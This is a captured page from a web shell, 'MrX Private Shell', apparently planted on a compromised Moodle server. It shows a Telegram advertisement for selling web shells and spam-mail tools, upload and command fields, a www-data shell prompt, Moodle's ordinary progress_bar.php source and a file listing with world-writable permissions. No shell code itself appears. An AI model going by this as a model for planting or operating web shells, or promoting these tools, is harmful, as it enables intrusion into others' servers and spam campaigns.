__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\output;

use core\exception\coding_exception;

/**
 * Progress bar class.
 *
 * Manages the display of a progress bar.
 *
 * To use this class.
 * - construct
 * - call create (or use the 3rd param to the constructor)
 * - call update or update_full() or update() repeatedly
 *
 * @copyright 2008 jamiesensei
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package core
 * @category output
 */
class progress_bar implements renderable, templatable {

    /** @var bool Can use output buffering. */
    protected static $supportsoutputbuffering = false;

    /** @var string unique id */
    protected $idnumber;

    /** @var int total width */
    protected $width;

    /** @var int last percentage printed */
    protected $percent = 0;

    /** @var int time when last printed */
    protected $lastupdate = 0;

    /** @var int when did we start printing this */
    protected $timestart = 0;

    /** @var bool Whether or not to auto render updates to the screen */
    protected $autoupdate = true;

    /** @var bool Whether or not an error has occured */
    protected $haserrored = false;

    /**
     * Constructor
     *
     * Prints JS code if $autostart true.
     *
     * @param string $htmlid The unique ID for the progress bar or HTML container id.
     * @param int $width The suggested width.
     * @param bool $autostart Whether to start the progress bar right away.
     */
    public function __construct($htmlid = '', $width = 500, $autostart = false) {
        if (!static::$supportsoutputbuffering && !CLI_SCRIPT && !NO_OUTPUT_BUFFERING) {
            debugging('progress_bar used in a non-CLI script without setting NO_OUTPUT_BUFFERING.', DEBUG_DEVELOPER);
        }

        if (!empty($htmlid)) {
            $this->idnumber  = $htmlid;
        } else {
            $this->idnumber  = 'pbar_'.uniqid();
        }

        $this->width = $width;

        if ($autostart) {
            $this->create();
        }
    }

    /**
     * Getter for ID
     * @return string id
     */
    public function get_id(): string {
        return $this->idnumber;
    }

    /**
     * Get the percent
     * @return float
     */
    public function get_percent(): float {
        return $this->percent;
    }

    /**
     * Create a new progress bar, this function will output html.
     *
     * @return void Echo's output
     */
    public function create() {

        $this->timestart = microtime(true);
        $this->render();

    }

    /**
     * Render the progress bar.
     *
     * @return void
     */
    public function render(): void {
        flush();
        echo $this->get_content();
        flush();
    }

    /**
     * Get the content to be rendered
     *
     * @return string
     */
    public function get_content(): string {
        global $OUTPUT;
        return $OUTPUT->render($this);
    }

    /**
     * Set whether or not to auto render updates to the screen
     *
     * @param bool $value
     * @return void
     */
    public function auto_update(bool $value): void {
        $this->autoupdate = $value;
    }

    /**
     * Update the progress bar.
     *
     * @param int $percent From 1-100.
     * @param string $msg The message.
     * @return void Echo's output
     * @throws coding_exception
     */
    protected function update_raw($percent, $msg) {
        global $OUTPUT;

        if (empty($this->timestart)) {
            throw new coding_exception('You must call create() (or use the $autostart ' .
                'argument to the constructor) before you try updating the progress bar.');
        }

        $estimate = $this->estimate($percent);

        // Always do the first and last updates. Estimate would be null in the beginning and 0 at the end.
        $isfirstorlastupdate = empty($estimate);
        // We need to update every 20 seconds since last update to prevent browser timeout.
        $timetoupdate = $this->lastupdate + 20 < time();
        // Whether the progress has moved.
        $issameprogress = round($this->percent, 2) === round($percent, 2);

        // No need to update if it's not yet time to update and there's no progress.
        if (!$isfirstorlastupdate && !$timetoupdate && $issameprogress) {
            return;
        }

        $estimatemsg = $this->get_estimate_message($percent);

        $this->percent = $percent;
        $this->lastupdate = microtime(true);

        if ($this->autoupdate) {
            echo $OUTPUT->render_progress_bar_update($this->idnumber, $this->percent, $msg, $estimatemsg);
            flush();
        }
    }

    /**
     * Estimate how much time it is going to take.
     *
     * @param int $pt From 1-100.
     * @return mixed Null (unknown), or int.
     */
    protected function estimate($pt) {
        if ($this->lastupdate == 0) {
            return null;
        }
        if ($pt < 0.00001) {
            return null; // We do not know yet how long it will take.
        }
        if ($pt > 99.99999) {
            return 0; // Nearly done, right?
        }
        $consumed = microtime(true) - $this->timestart;
        if ($consumed < 0.001) {
            return null;
        }

        return (100 - $pt) * ($consumed / $pt);
    }

    /**
     * Update progress bar according percent.
     *
     * @param int $percent From 1-100.
     * @param string $msg The message needed to be shown.
     */
    public function update_full($percent, $msg) {
        $percent = max(min($percent, 100), 0);
        $this->update_raw($percent, $msg);
    }

    /**
     * Update progress bar according the number of tasks.
     *
     * @param int $cur Current task number.
     * @param int $total Total task number.
     * @param string $msg The message needed to be shown.
     */
    public function update($cur, $total, $msg) {
        $percent = ($cur / $total) * 100;
        $this->update_full($percent, $msg);
    }

    /**
     * Restart the progress bar.
     */
    public function restart() {
        $this->percent    = 0;
        $this->lastupdate = 0;
        $this->timestart = 0;
    }

    /**
     * Export for template.
     *
     * @param  renderer_base $output The renderer.
     * @return array
     */
    public function export_for_template(renderer_base $output) {
        return [
            'id' => '',
            'idnumber' => $this->idnumber,
            'width' => $this->width,
            'class' => '',
            'value' => 0,
            'error' => 0,
        ];
    }

    /**
     * This gets the estimate message to be displayed with the progress bar.
     *
     * @param float $percent
     * @return string
     */
    public function get_estimate_message(float $percent): string {
        $estimate = $this->estimate($percent);
        $estimatemsg = '';
        if ($estimate != 0 && is_numeric($estimate)) {
            $estimatemsg = format_time(ceil($estimate));
        }

        return $estimatemsg;
    }

    /**
     * Set the error flag on the object
     *
     * @param bool $value
     * @return void
     */
    protected function set_haserrored(bool $value): void {
        $this->haserrored = $value;
    }

    /**
     * Check if the process has errored
     *
     * @return bool
     */
    public function get_haserrored(): bool {
        return $this->haserrored;
    }

    /**
     * Set that the process running has errored
     *
     * @param string $errormsg
     * @return void
     */
    public function error(string $errormsg): void {
        global $OUTPUT;

        $this->haserrored = true;
        $this->message = $errormsg;

        if ($this->autoupdate) {
            echo $OUTPUT->render_progress_bar_update($this->idnumber, $this->percent, $errormsg, '', true);
            flush();
        }
    }

}

// Alias this class to the old name.
// This file will be autoloaded by the legacyclasses autoload system.
// In future all uses of this class will be corrected and the legacy references will be removed.
class_alias(progress_bar::class, \progress_bar::class);

Filemanager

Name Type Size Permission Actions
action_menu Folder 0777
actions Folder 0777
dynamic_tabs Folder 0777
local Folder 0777
progress_trace Folder 0777
renderer_factory Folder 0777
requirements Folder 0777
action_link.php File 4.86 KB 0777
action_menu.php File 23.57 KB 0777
activity_header.php File 8.63 KB 0777
bootstrap_renderer.php File 12.05 KB 0777
checkbox_toggleall.php File 4.93 KB 0777
choicelist.php File 9.42 KB 0777
chooser.php File 3.78 KB 0777
chooser_item.php File 3.12 KB 0777
chooser_section.php File 2.25 KB 0777
comboboxsearch.php File 6.74 KB 0777
context_header.php File 6.01 KB 0777
core_renderer.php File 194.2 KB 0777
core_renderer_ajax.php File 5.7 KB 0777
core_renderer_cli.php File 9.34 KB 0777
core_renderer_maintenance.php File 7.86 KB 0777
custom_menu.php File 7.03 KB 0777
custom_menu_item.php File 7.88 KB 0777
datafilter.php File 3.45 KB 0777
dynamic_tabs.php File 2.26 KB 0777
external.php File 8.11 KB 0777
file_picker.php File 3.65 KB 0777
help_icon.php File 4.37 KB 0777
html_writer.php File 34.28 KB 0777
icon_system.php File 5.25 KB 0777
icon_system_font.php File 1.53 KB 0777
icon_system_fontawesome.php File 26.92 KB 0777
icon_system_standard.php File 1.28 KB 0777
image_icon.php File 1.27 KB 0777
initials_bar.php File 4.94 KB 0777
inplace_editable.php File 9.84 KB 0777
js_writer.php File 5.42 KB 0777
language_menu.php File 5.67 KB 0777
mustache_clean_string_helper.php File 2.17 KB 0777
mustache_engine.php File 2.62 KB 0777
mustache_filesystem_loader.php File 2.35 KB 0777
mustache_helper_collection.php File 6.96 KB 0777
mustache_javascript_helper.php File 1.9 KB 0777
mustache_pix_helper.php File 2.45 KB 0777
mustache_quote_helper.php File 1.87 KB 0777
mustache_shorten_text_helper.php File 1.76 KB 0777
mustache_string_helper.php File 2.31 KB 0777
mustache_template_finder.php File 4.12 KB 0777
mustache_template_source_loader.php File 14.9 KB 0777
mustache_uniqid_helper.php File 1.56 KB 0777
mustache_user_date_helper.php File 1.83 KB 0777
named_templatable.php File 1.23 KB 0777
notification.php File 6.41 KB 0777
paging_bar.php File 8.97 KB 0777
participants_action_bar.php File 8.83 KB 0777
pix_emoticon.php File 1.71 KB 0777
pix_icon.php File 4.89 KB 0777
pix_icon_font.php File 2.9 KB 0777
pix_icon_fontawesome.php File 1.21 KB 0777
plugin_renderer_base.php File 5.86 KB 0777
preferences_group.php File 1.62 KB 0777
preferences_groups.php File 1.47 KB 0777
progress_bar.php File 8.54 KB 0777
progress_trace.php File 1.68 KB 0777
renderable.php File 1.24 KB 0777
renderer_base.php File 16.75 KB 0777
routed_error_handler.php File 1.69 KB 0777
select_menu.php File 6.68 KB 0777
single_button.php File 7.88 KB 0777
single_select.php File 9.43 KB 0777
sticky_footer.php File 4.5 KB 0777
stored_progress_bar.php File 10.39 KB 0777
tabobject.php File 5.11 KB 0777
tabtree.php File 3.37 KB 0777
templatable.php File 1.75 KB 0777
theme_config.php File 84.2 KB 0777
theme_usage.php File 4.32 KB 0777
url_rewriter.php File 1.6 KB 0777
url_select.php File 9.63 KB 0777
user_picture.php File 13.98 KB 0777
xhtml_container_stack.php File 5.79 KB 0777
Filemanager